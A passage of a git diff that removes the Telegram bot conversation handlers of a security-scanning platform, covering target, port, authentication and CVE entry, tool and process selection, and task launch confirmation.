'''Ask the user for confirmation before start execution. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state or end conversation - ''' - keyboard = [ # Create keyboard buttons - InlineKeyboardButton('Yes', callback_data='yes'), # Confirm execution - InlineKeyboardButton('No', callback_data='no') # Cancel execution - ] - send_options(update, chat, confirmation_message(context), keyboard, 2) - return EXECUTE # Go to execution management diff --git a/src/backend/telegram_bot/conversations/cancel.py b/src/backend/telegram_bot/conversations/cancel.py deleted file mode 100644 index 4792e0f9c..000000000 --- a/src/backend/telegram_bot/conversations/cancel.py +++ /dev/null @@ -1,27 +0,0 @@ -import logging - -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram_bot.context import (CONFIGURATION, INTENSITY, PROCESS, STATES, - TARGET, TARGET_PORT, TOOL) -from telegram_bot.conversations.selection import clear -from telegram_bot.messages.conversations import CANCEL - -logger = logging.getLogger() # Rekono logger - - -def cancel(update: Update, context: CallbackContext) -> int: - '''Cancel current operation. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: End conversation - ''' - clear(context, [STATES, TARGET, TARGET_PORT, PROCESS, TOOL, CONFIGURATION, INTENSITY]) # Clear Telegram context - if update.effective_message: - update.effective_message.reply_text(CANCEL) # Confirm cancellation - logger.info('[Telegram Bot] Current operation has been cancelled') - return ConversationHandler.END diff --git a/src/backend/telegram_bot/conversations/execute.py b/src/backend/telegram_bot/conversations/execute.py deleted file mode 100644 index 2afaa3f85..000000000 --- a/src/backend/telegram_bot/conversations/execute.py +++ /dev/null @@ -1,136 +0,0 @@ -import logging - -from tasks.serializers import TaskSerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram_bot.context import (CONFIGURATION, INTENSITY, PROCESS, PROJECT, - STATES, TARGET, TOOL, WORDLIST) -from telegram_bot.conversations.ask import (ask_for_configuration, - ask_for_execution_confirmation, - ask_for_intensity, ask_for_process, - ask_for_project, ask_for_target, - ask_for_tool) -from telegram_bot.conversations.selection import clear -from telegram_bot.messages.conversations import CANCEL -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.execution import EXECUTION_LAUNCHED -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def execute_tool(update: Update, context: CallbackContext) -> int: - '''Request tool execution via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - if PROJECT in context.chat_data: # Project already selected - context.chat_data[STATES] = [ # Prepare next steps - (None, ask_for_tool), - (None, ask_for_configuration), - (None, ask_for_intensity), - (None, ask_for_execution_confirmation) - ] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Prepare next steps - (None, ask_for_target), - (None, ask_for_tool), - (None, ask_for_configuration), - (None, ask_for_intensity), - (None, ask_for_execution_confirmation) - ] - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation - - -def execute_process(update: Update, context: CallbackContext) -> int: - '''Request process execution via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - if PROJECT in context.chat_data: # Project already selected - context.chat_data[STATES] = [ # Prepare next steps - (None, ask_for_process), - (None, ask_for_intensity), - (None, ask_for_execution_confirmation) - ] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Prepare next steps - (None, ask_for_target), - (None, ask_for_process), - (None, ask_for_intensity), - (None, ask_for_execution_confirmation) - ] - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation - - -def execute(update: Update, context: CallbackContext) -> int: - '''Launch execution. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - clear(context, [STATES]) # Clear Telegram context - chat = get_chat(update) # Get Telegram chat - if ( - chat and - context.chat_data and - update.callback_query and - update.callback_query.bot and - update.callback_query.data - ): - update.callback_query.answer() # Empty answer - if update.callback_query.data.lower() == 'yes': # Check execution confirmation - task_data = { # Prepare common execution data - 'target_id': context.chat_data[TARGET].id, - 'intensity_rank': context.chat_data[INTENSITY], - 'executor': chat.user - } - if TOOL in context.chat_data: # Tool execution - task_data.update({ # Add tool data - 'tool_id': context.chat_data[TOOL].id, - 'configuration_id': context.chat_data[CONFIGURATION].id - }) - elif PROCESS in context.chat_data: # Process execution - task_data['process_id'] = context.chat_data[PROCESS].id # Add process data - if WORDLIST in context.chat_data: # Wordlist selected - task_data['wordlists'] = [context.chat_data[WORDLIST].id] # Add wordlist data - serializer = TaskSerializer(data=task_data) # Create Task serializer - if serializer.is_valid(): # Task is valid - task = serializer.save(executor=chat.user) # Create task - logger.info(f'[Telegram Bot] New task {task.id} has been created', extra={'user': chat.user.id}) - # Confirm task creation - update.callback_query.bot.send_message(chat.chat_id, text=EXECUTION_LAUNCHED.format(id=task.id)) - else: # Invalid task data - logger.info('[Telegram Bot] Attempt of task creation with invalid data', extra={'user': chat.user.id}) - update.callback_query.bot.send_message( # Send error details - chat.chat_id, - text=create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - else: - update.callback_query.bot.send_message(chat.chat_id, text=CANCEL) # User didn't confirm the execution - clear(context, [TARGET, INTENSITY, TOOL, CONFIGURATION, PROCESS]) # Clear Telegram context - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/new_authentication.py b/src/backend/telegram_bot/conversations/new_authentication.py deleted file mode 100644 index b08e6315b..000000000 --- a/src/backend/telegram_bot/conversations/new_authentication.py +++ /dev/null @@ -1,107 +0,0 @@ -import logging - -from authentications.serializers import AuthenticationSerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import (AUTH_TYPE, COMMAND, PROJECT, STATES, TARGET, - TARGET_PORT) -from telegram_bot.conversations.ask import (ask_for_authentication_type, - ask_for_project, ask_for_target, - ask_for_target_port) -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.selection import clear -from telegram_bot.conversations.states import CREATE_RELATED -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.parameters import (ASK_FOR_NEW_AUTHENTICATION, - NEW_AUTHENTICATION) -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def new_authentication(update: Update, context: CallbackContext) -> int: - '''Request new authentication creation via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - context.chat_data[COMMAND] = 'newauth' # Save command in the context - if PROJECT in context.chat_data: # Project already selected - context.chat_data[STATES] = [ # Configure next steps - (None, ask_for_target_port), - (None, ask_for_authentication_type), - (CREATE_RELATED, ASK_FOR_NEW_AUTHENTICATION) - ] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Configure next steps - (None, ask_for_target), - (None, ask_for_target_port), - (None, ask_for_authentication_type), - (CREATE_RELATED, ASK_FOR_NEW_AUTHENTICATION) - ] - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation - - -def create_authentication(update: Update, context: CallbackContext) -> int: - '''Create new authentication via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - clear(context, [STATES, TARGET]) # Clear Telegram context - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message: - if update.effective_message.text == '/cancel': # Check if cancellation is requested - return cancel(update, context) # Cancel operation - name = update.effective_message.text - credential = None - if name and ':' in name: - name, credential = name.split(':', 1) - serializer = AuthenticationSerializer( # Prepare authentication data - data={ - 'target_port': context.chat_data[TARGET_PORT].id, - 'name': name, - 'credential': credential, - 'type': context.chat_data[AUTH_TYPE] - } - ) - if serializer.is_valid(): # Authentication is valid - authentication = serializer.save() # Create authentication - logger.info( - f'[Telegram Bot] New authentication {authentication.id} has been created', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text( # Confirm authentication creation - NEW_AUTHENTICATION.format( - name=escape_markdown(authentication.name, version=2), - target=escape_markdown(authentication.target_port.target.target, version=2), - port=escape_markdown(str(authentication.target_port.port), version=2) - ), parse_mode=ParseMode.MARKDOWN_V2 - ) - else: - logger.info( - '[Telegram Bot] Attempt of input technology creation with invalid data', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text( # Send error details - create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - update.effective_message.reply_text(ASK_FOR_NEW_AUTHENTICATION) # Re-ask for the new authentication - return CREATE_RELATED # Repeat the current state - clear(context, [TARGET_PORT, AUTH_TYPE]) # Clear Telegram context - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/new_input_technology.py b/src/backend/telegram_bot/conversations/new_input_technology.py deleted file mode 100644 index e65790154..000000000 --- a/src/backend/telegram_bot/conversations/new_input_technology.py +++ /dev/null @@ -1,94 +0,0 @@ -import logging - -from parameters.serializers import InputTechnologySerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import PROJECT, STATES, TARGET -from telegram_bot.conversations.ask import ask_for_project, ask_for_target -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.selection import clear -from telegram_bot.conversations.states import CREATE -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.parameters import (ASK_FOR_NEW_INPUT_TECHNOLOGY, - NEW_INPUT_TECHNOLOGY) -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def new_input_technology(update: Update, context: CallbackContext) -> int: - '''Request new input technology creation via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - if PROJECT in context.chat_data: # Project already selected - # Configure next steps - context.chat_data[STATES] = [(CREATE, ASK_FOR_NEW_INPUT_TECHNOLOGY)] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Configure next steps - (None, ask_for_target), - (CREATE, ASK_FOR_NEW_INPUT_TECHNOLOGY) - ] - return ask_for_project(update, context, chat) # Ask for project creation - return ConversationHandler.END # Unauthorized: end conversation - - -def create_input_technology(update: Update, context: CallbackContext) -> int: - '''Create new input technology via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - clear(context, [STATES]) # Clear Telegram context - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message: - if update.effective_message.text == '/cancel': # Check if cancellation is requested - return cancel(update, context) # Cancel operation - name = update.effective_message.text - version = None - if name and ' - ' in name: - name, version = name.split(' - ', 1) - serializer = InputTechnologySerializer( # Prepare input technology data - data={'target': context.chat_data[TARGET].id, 'name': name, 'version': version} - ) - if serializer.is_valid(): # Input technology is valid - input_technology = serializer.save() # Create input technology - logger.info( - f'[Telegram Bot] New input technology {input_technology.id} has been created', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text( # Confirm input technology creation - NEW_INPUT_TECHNOLOGY.format( - name=escape_markdown(input_technology.name, version=2), - target=escape_markdown(input_technology.target.target, version=2) - ), parse_mode=ParseMode.MARKDOWN_V2 - ) - else: # Invalid input technology data - logger.info( - '[Telegram Bot] Attempt of input technology creation with invalid data', - extra={'user': chat.user.id} - ) - # Send error details - update.effective_message.reply_text( - create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - # Re-ask for the new input technology - update.effective_message.reply_text(ASK_FOR_NEW_INPUT_TECHNOLOGY) - return CREATE # Repeat the current state - clear(context, [TARGET]) # Clear Telegram context - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/new_input_vulnerability.py b/src/backend/telegram_bot/conversations/new_input_vulnerability.py deleted file mode 100644 index d121d5e69..000000000 --- a/src/backend/telegram_bot/conversations/new_input_vulnerability.py +++ /dev/null @@ -1,90 +0,0 @@ -import logging - -from parameters.serializers import InputVulnerabilitySerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import PROJECT, STATES, TARGET -from telegram_bot.conversations.ask import ask_for_project, ask_for_target -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.selection import clear -from telegram_bot.conversations.states import CREATE -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.parameters import (ASK_FOR_NEW_INPUT_VULNERABILITY, - NEW_INPUT_VULNERABILITY) -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def new_input_vulnerability(update: Update, context: CallbackContext) -> int: - '''Request new input vulnerability creation via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - if PROJECT in context.chat_data: # Project already selected - # Configure next steps - context.chat_data[STATES] = [(CREATE, ASK_FOR_NEW_INPUT_VULNERABILITY)] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Configure next steps - (None, ask_for_target), - (CREATE, ASK_FOR_NEW_INPUT_VULNERABILITY) - ] - return ask_for_project(update, context, chat) # Ask for project creation - return ConversationHandler.END # Unauthorized: end conversation - - -def create_input_vulnerability(update: Update, context: CallbackContext) -> int: - '''Create new input vulnerability via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - clear(context, [STATES]) # Clear Telegram context - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message: - if update.effective_message.text == '/cancel': # Check if cancellation is requested - return cancel(update, context) # Cancel operation - serializer = InputVulnerabilitySerializer( # Prepare input vulnerability data - data={'target': context.chat_data[TARGET].id, 'cve': update.effective_message.text} - ) - if serializer.is_valid(): # Input vulnerability is valid - input_vulnerability = serializer.save() # Create input vulnerability - logger.info( - f'[Telegram Bot] New input vulnerability {input_vulnerability.id} has been created', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text( # Confirm input vulnerability creation - NEW_INPUT_VULNERABILITY.format( - cve=escape_markdown(input_vulnerability.cve, version=2), - target=escape_markdown(input_vulnerability.target.target, version=2) - ), parse_mode=ParseMode.MARKDOWN_V2 - ) - else: # Invalid input vulnerability data - logger.info( - '[Telegram Bot] Attempt of input vulnerability creation with invalid data', - extra={'user': chat.user.id} - ) - # Send error details - update.effective_message.reply_text( - create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - # Re-ask for the new input vulnerability - update.effective_message.reply_text(ASK_FOR_NEW_INPUT_VULNERABILITY) - return CREATE # Repeat the current state - clear(context, [TARGET]) # Clear Telegram context - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/new_target.py b/src/backend/telegram_bot/conversations/new_target.py deleted file mode 100644 index 48b04a723..000000000 --- a/src/backend/telegram_bot/conversations/new_target.py +++ /dev/null @@ -1,80 +0,0 @@ -import logging - -from targets.serializers import TargetSerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import PROJECT, STATES -from telegram_bot.conversations.ask import ask_for_project -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.selection import clear -from telegram_bot.conversations.states import CREATE -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.targets import ASK_FOR_NEW_TARGET, NEW_TARGET -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def new_target(update: Update, context: CallbackContext) -> int: - '''Request new target creation via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message: - if PROJECT in context.chat_data: # Project already selected - update.effective_message.reply_text(ASK_FOR_NEW_TARGET) # Ask for the new target - return CREATE # Go to target creation - else: # No selected project - context.chat_data[STATES] = [(CREATE, ASK_FOR_NEW_TARGET)] # Configure next steps - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation - - -def create_target(update: Update, context: CallbackContext) -> int: - '''Create new target via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - clear(context, [STATES]) # Clear Telegram context - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message: - if update.effective_message.text == '/cancel': # Check if cancellation is requested - return cancel(update, context) # Cancel operation - # Prepare target data - serializer = TargetSerializer(data={ - 'project': context.chat_data[PROJECT].id, - 'target': update.effective_message.text - }) - if serializer.is_valid(): # Target is valid - target = serializer.save() # Create target - logger.info(f'[Telegram Bot] New target {target.id} has been created', extra={'user': chat.user.id}) - update.effective_message.reply_text( # Confirm target creation - NEW_TARGET.format( - target=escape_markdown(target.target, version=2), - target_type=escape_markdown(target.type, version=2), - project=escape_markdown(context.chat_data[PROJECT].name, version=2) - ), parse_mode=ParseMode.MARKDOWN_V2 - ) - else: # Invalid target data - logger.info('[Telegram Bot] Attempt of target creation with invalid data', extra={'user': chat.user.id}) - # Send error details - update.effective_message.reply_text( - create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - update.effective_message.reply_text(ASK_FOR_NEW_TARGET) # Re-ask for the new target - return CREATE # Repeat the current state - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/new_target_port.py b/src/backend/telegram_bot/conversations/new_target_port.py deleted file mode 100644 index cdc2e58cf..000000000 --- a/src/backend/telegram_bot/conversations/new_target_port.py +++ /dev/null @@ -1,102 +0,0 @@ -import logging - -from targets.serializers import TargetPortSerializer -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import COMMAND, PROJECT, STATES, TARGET, TARGET_PORT -from telegram_bot.conversations.ask import (ask_for_authentication_type, - ask_for_project, ask_for_target) -from telegram_bot.conversations.cancel import cancel -from telegram_bot.conversations.selection import clear -from telegram_bot.conversations.states import CREATE, CREATE_RELATED -from telegram_bot.messages.errors import create_error_message -from telegram_bot.messages.parameters import ASK_FOR_NEW_AUTHENTICATION -from telegram_bot.messages.targets import (ASK_FOR_NEW_TARGET_PORT, - INVALID_TARGET_PORT, - NEW_TARGET_PORT) -from telegram_bot.security import get_chat - -logger = logging.getLogger() # Rekono logger - - -def new_target_port(update: Update, context: CallbackContext) -> int: - '''Request new target port creation via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None: - context.chat_data[COMMAND] = 'newport' # Save command in the context - if PROJECT in context.chat_data: # Project already selected - context.chat_data[STATES] = [ # Configure next steps - (CREATE, ASK_FOR_NEW_TARGET_PORT), - (CREATE_RELATED, ASK_FOR_NEW_AUTHENTICATION) - ] - return ask_for_target(update, context, chat) # Ask for target selection - else: # No selected project - context.chat_data[STATES] = [ # Configure next steps - (None, ask_for_target), - (CREATE, ASK_FOR_NEW_TARGET_PORT), - (CREATE_RELATED, ASK_FOR_NEW_AUTHENTICATION) - ] - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation - - -def create_target_port(update: Update, context: CallbackContext) -> int: - '''Create new target port via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.effective_message and update.effective_message.text: - if update.effective_message.text == '/cancel': # Check if cancellation is requested - return cancel(update, context) # Cancel operation - try: - port = int(update.effective_message.text) # Check if port is a valid number - except ValueError: - update.effective_message.reply_text(INVALID_TARGET_PORT) # Invalid target port - update.effective_message.reply_text(ASK_FOR_NEW_TARGET_PORT) # Re-ask for the new target port - return CREATE # Repeat the current state - # Prepare target port data - serializer = TargetPortSerializer(data={'target': context.chat_data[TARGET].id, 'port': port}) - if serializer.is_valid(): # Target port is valid - target_port = serializer.save() # Create target port - logger.info( - f'[Telegram Bot] New target port {target_port.id} has been created', - extra={'user': chat.user.id} - ) - update.effective_message.reply_text( # Confirm target port creation - NEW_TARGET_PORT.format( - port=escape_markdown(str(target_port.port), version=2), - target=escape_markdown(target_port.target.target, version=2) - ), parse_mode=ParseMode.MARKDOWN_V2 - ) - context.chat_data[TARGET_PORT] = target_port # Save new target port in the context - else: # Invalid target port data - logger.info( - '[Telegram Bot] Attempt of target port creation with invalid data', - extra={'user': chat.user.id} - ) - # Send error details - update.effective_message.reply_text( - create_error_message(serializer.errors), - parse_mode=ParseMode.MARKDOWN_V2 - ) - update.effective_message.reply_text(ASK_FOR_NEW_TARGET_PORT) # Re-ask for the new target port - return CREATE # Repeat the current state - return ask_for_authentication_type(update, context, chat) # Create authentication for this port - clear(context, [TARGET]) # Clear Telegram context - return ConversationHandler.END # End conversation diff --git a/src/backend/telegram_bot/conversations/select_project.py b/src/backend/telegram_bot/conversations/select_project.py deleted file mode 100644 index d89627d38..000000000 --- a/src/backend/telegram_bot/conversations/select_project.py +++ /dev/null @@ -1,20 +0,0 @@ -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram_bot.conversations.ask import ask_for_project -from telegram_bot.security import get_chat - - -def project(update: Update, context: CallbackContext) -> int: - '''Select project to be used in next operations via Telegram Bot. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat: - return ask_for_project(update, context, chat) # Ask for project selection - return ConversationHandler.END # Unauthorized: end conversation diff --git a/src/backend/telegram_bot/conversations/selection.py b/src/backend/telegram_bot/conversations/selection.py deleted file mode 100644 index 29073e401..000000000 --- a/src/backend/telegram_bot/conversations/selection.py +++ /dev/null @@ -1,271 +0,0 @@ -from typing import List - -from processes.models import Process -from projects.models import Project -from resources.models import Wordlist -from targets.models import Target, TargetPort -from telegram import ParseMode -from telegram.ext import CallbackContext, ConversationHandler -from telegram.update import Update -from telegram.utils.helpers import escape_markdown -from telegram_bot.context import (AUTH_TYPE, CONFIGURATION, INTENSITY, PROCESS, - PROJECT, STATES, TARGET, TARGET_PORT, TOOL, - WORDLIST) -from telegram_bot.conversations.ask import ask_for_wordlist -from telegram_bot.messages.selection import (SELECTED_CONFIGURATION, - SELECTED_INTENSITY, - SELECTED_PROCESS, - SELECTED_PROJECT, SELECTED_TARGET, - SELECTED_TARGET_PORT, - SELECTED_TOOL, SELECTED_WORDLIST, - SELECTION) -from telegram_bot.models import TelegramChat -from telegram_bot.security import get_chat -from tools.models import Configuration, Input, Tool - - -def next_state(update: Update, context: CallbackContext, chat: TelegramChat) -> int: - '''Get next conversation state to go to. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - chat (TelegramChat): Telegram chat entity - - Returns: - int: Next conversation state - ''' - if context.chat_data and STATES in context.chat_data and context.chat_data[STATES]: # Configured next states - state, action = context.chat_data[STATES][0] # Get first one: state and action - context.chat_data[STATES] = context.chat_data[STATES][1:] # Remove first state from the context - if action: # If requiired action - if isinstance(action, str) and update.callback_query and update.callback_query.bot: - # Action is a text message - update.callback_query.bot.send_message(chat.chat_id, text=action) - elif callable(action): # Action is an "ask for" function - return action(update, context, chat) - return state # Return next state - return ConversationHandler.END # End conversation - - -def select_project(update: Update, context: CallbackContext) -> int: - '''Manage selected project. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - project = Project.objects.get(pk=int(update.callback_query.data)) # Get project by Id - context.chat_data[PROJECT] = project # Save selected project - update.callback_query.answer(SELECTED_PROJECT.format(project=project.name)) # Confirm selection - state = next_state(update, context, chat) # Get next conversation state - if state == ConversationHandler.END and update.callback_query.bot: # This is the last state - update.callback_query.bot.send_message( # Send confirmation message - chat.chat_id, - text=SELECTION.format(project=escape_markdown(context.chat_data[PROJECT].name, version=2)), - parse_mode=ParseMode.MARKDOWN_V2 - ) - return state # Go to next state - elif update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_target(update: Update, context: CallbackContext) -> int: - '''Manage selected target. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - target = Target.objects.get(pk=int(update.callback_query.data)) # Get target by Id - context.chat_data[TARGET] = target # Save selected target - update.callback_query.answer(SELECTED_TARGET.format(target=target.target)) # Confirm selection - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_target_port(update: Update, context: CallbackContext) -> int: - '''Manage selected target port. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - target_port = TargetPort.objects.get(pk=int(update.callback_query.data)) # Get target port by Id - context.chat_data[TARGET_PORT] = target_port # Save selected target port - update.callback_query.answer(SELECTED_TARGET_PORT.format(port=target_port.port)) # Confirm selection - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_authentication_type(update: Update, context: CallbackContext) -> int: - '''Manage selected authentication type. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - if update.callback_query.data == 'None': # Authentication creation is rejected - clear(context, [STATES, TARGET, TARGET_PORT]) - else: - context.chat_data[AUTH_TYPE] = update.callback_query.data # Save selected type - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_tool(update: Update, context: CallbackContext) -> int: - '''Manage selected tool. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - tool = Tool.objects.get(pk=int(update.callback_query.data)) # Get tool by Id - context.chat_data[TOOL] = tool # Save selected tool - update.callback_query.answer(SELECTED_TOOL.format(tool=tool.name)) # Confirm selection - # Tool with Wordlist input - if Input.objects.filter(argument__tool=tool, type__name='Wordlist').exists(): - # Add wordlist question - context.chat_data[STATES].insert(len(context.chat_data[STATES]) - 1, (None, ask_for_wordlist)) - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_process(update: Update, context: CallbackContext) -> int: - '''Manage selected process. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - process = Process.objects.get(pk=int(update.callback_query.data)) # Get process by Id - context.chat_data[PROCESS] = process # Save selected process - update.callback_query.answer(SELECTED_PROCESS.format(process=process.name)) # Confirm selection - # Tool with Wordlist input - if Input.objects.filter(argument__tool__in=process.steps.all().values('tool'), type__name='Wordlist').exists(): - # Add wordlist question - context.chat_data[STATES].insert(len(context.chat_data[STATES]) - 1, (None, ask_for_wordlist)) - return next_state(update, context, chat) # go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_configuration(update: Update, context: CallbackContext) -> int: - '''Manage selected configuration. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if chat and context.chat_data is not None and update.callback_query and update.callback_query.data: - configuration = Configuration.objects.get(pk=int(update.callback_query.data)) # Get configuration by Id - context.chat_data[CONFIGURATION] = configuration # Save selected configuration - # Confirm selection - update.callback_query.answer(SELECTED_CONFIGURATION.format(configuration=configuration.name)) - return next_state(update, context, chat) # Go to next state - if update.callback_query: - update.callback_query.answer() # Empty answer - return ConversationHandler.END # End conversation - - -def select_wordlist(update: Update, context: CallbackContext) -> int: - '''Manage selected wordlist. - - Args: - update (Update): Telegram Bot update - context (CallbackContext): Telegram Bot context - - Returns: - int: Conversation state - ''' - chat = get_chat(update) # Get Telegram chat - if ( - chat and context.chat_data is not None and - update.callback_query and update.callback_query.data and - update.callback_query.data != 'Default tools wordlists' - ): - wordlist = Wordlist.objects.get(pk=int(update.callback_query.data)) # Get wordlist by Id - context.chat_data[WORDLIST] = wordlist # Save selected intensity - update.callback_query.answer(SELECTED_WORDLIST.format(wordlist=wordlist.name)) # Confirm selection - elif update.callback_query: - update.callback_query.answer() # Empty answer - return next_state(update, context, chat) if chat else ConversationHandler.END # Go to next state 